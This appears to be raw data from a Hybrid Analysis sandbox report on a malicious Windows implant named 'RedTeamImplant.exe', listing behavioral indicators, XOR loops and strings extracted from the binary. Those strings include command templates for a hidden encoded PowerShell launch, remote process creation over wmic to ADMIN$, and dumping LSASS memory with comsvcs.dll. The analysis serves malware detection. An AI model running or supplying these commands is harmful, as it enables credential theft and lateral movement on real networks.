24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] 184:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious — Falcon Sandbox Report 690bbdbda92b… — Score 100/100 — Sample f3a2dab8f560…","description":"Malicious verdict for sandbox report 690bbdbda92b…. Threat score 100/100. 5 malicious and 9 suspicious behavioral indicators across 169 signatures. Detonated in Windows 11 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/f3a2dab8f5604615afba1174e89e7aeb683451f1d953991c15369e3835fd701d/690bbdbda92b1788310d1d92","keywords":["Malicious","sandbox report","malware analysis","MITRE ATT\u0026CK","f3a2dab8f5604615afba1174e89e7aeb683451f1d953991c15369e3835fd701d"],"about":{"@type":"SoftwareApplication","name":"RedTeamImplant.exe","applicationCategory":"PE32+ executable for MS Windows 6.01 (GUI), x86-64, 8 sections","identifier":"f3a2dab8f5604615afba1174e89e7aeb683451f1d953991c15369e3835fd701d","additionalType":"Malicious sample"},"threatScore":100,"sandboxEnvironment":"Windows 11 64 bit","behavioralIndicators":{"malicious":5,"suspicious":9,"totalSignatures":169},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T5ca,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "RedTeamImplant.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "RedTeamImplant.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "RedTeamImplant.exe") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007844.00000002.187602.00100000.00000004.mdmp")26:T532,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")27:T5ac,Found string - tringexec: SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13390625uint16uint32uint64structchan<-<-chan ValueGetACPsysmontimersefenceselect not object objs next= jobs= goid sweep B -> % util alloc free span= prev= list= i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type abortedCopySidWSARecvWSASendconnectsignal avx512fruntimeos/execfips140tls3destlssha1GoStringFullPathThursdaySaturdayFebruaryNovemberDecember%!Month(48828125nil PoolscavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnablerax rbx; Source: "RedTeamImplant.exe") Found string - m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")28:T1841,Found XOR loop in file "sample.bin" at offset 93266; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 808076; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1519080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 693481; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1599485; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 191894; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230473; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230833; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 231233; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 233395; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 256561; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276688; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 426405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 427101; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 427742; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 438121; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 453100; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 843664; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 853968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 860600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 867032; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 871064; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 871072; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 874240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 874336; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 875208; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 875400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 905056; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 909696; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 919456; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 927832; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 932776; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 933400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 933424; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 942408; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 944960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 945240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 945264; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 948392; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 948416; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 949496; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 953760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 955680; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957128; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957152; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957176; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957224; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957248; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957272; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957296; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957320; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957344; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957368; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959432; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959456; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959504; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 959528; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 962472; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 962496; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 963040; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 964880; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 964904; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 967064; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 967136; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 967448; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 976576; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980192; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980216; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980288; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980576; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 982280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 982688; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 982712; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 983168; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 983312; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 985528; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1356190; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1629048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1803952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1887972; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1889868; code bytes = 803029:T778,"RedTeamImplant.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000028e85f7d0a000000180000000a000000f775cb1c85b200004f7e5899b80100000000000000000000c0e75f7d0a000000f0545799b8010000007e5899b80100001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000b232f87f0000ef67940f8c600000e046b232f87f0000507e5899b80100009806b332f87f0000e0c75799b80100000000f930f87f00000000000000000000e046b232f87f00000300000000000000f3853733f87f00006e47b232f87f000027663733f87f000000e85f7d (UID: 00000000-00007844) "RedTeamImplant.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844) "RedTeamImplant.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844)2a:T1fb8,Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/c whoami") in Source: RedTeamImplant.exe Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/c whoami") in Source: RedTeamImplant.exe Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "cmd /c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "/c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp2b:T514,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/c whoami") in Source: RedTeamImplant.exe2c:T512,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/c whoami") in Source: RedTeamImplant.exe2d:Te86,Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "cmd /c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "/c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp2e:T514,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/c whoami") in Source: RedTeamImplant.exe2f:T512,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "cmd /c whoami") in Source: RedTeamImplant.exe, Observed string: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/c whoami") in Source: RedTeamImplant.exe30:Te86,Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "cmd /c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime: function marked with #cgo nocallback called back into Goruntime.SetFinalizer: pointer not at beginning of allocated 